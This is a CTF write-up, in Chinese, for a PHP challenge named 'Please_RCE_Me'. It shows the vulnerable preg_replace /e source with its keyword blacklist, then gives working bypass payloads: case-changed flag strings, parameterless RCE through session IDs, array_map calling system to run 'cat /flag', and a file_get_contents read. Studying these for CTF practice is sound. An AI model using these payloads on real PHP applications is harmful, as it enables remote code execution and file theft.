Please_RCE_Me
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php if($_GET['moran'] === 'flag'){ highlight_file(__FILE__); if(isset($_POST['task'])&&isset($_POST['flag'])){ $str1 = $_POST['task']; $str2 = $_POST['flag']; if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){ die('hacker!'); }else{ preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']); } } }else{ echo "moran want a flag.</br>(?moran=flag)"; }
|
1
| strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2
|
使用大小写绕过
1
| preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
|
preg_replace() /e代码执行漏洞
过滤了很多,尝试无参RCE
1
| print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
|
找到flag文件
payload:
1 2 3 4
| task=show_source(session_id(session_start())); &flag=Please_give_me_flag
Cookie: PHPSESSID=/flag
|
另外几种RCE方式
1
| task=array_map($_POST['a'],$_POST['b'])&a=system&b[]=cat /flag&flag=Please_give_me_flag
|
1 2 3
| http://hnctf.yuanshen.life:33183/?moran=flag&1=/flag
task=print(file_get_contents($_GET[1]));&flag=please_give_me_flAg
|
学到的新姿势
查阅可以进行RCE的函数,发现还有一个array_map()可以使用
array_map()需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数
arr = array(‘phpinfo()’);
array_map(‘assert’,arr);就可以执行phpinfo()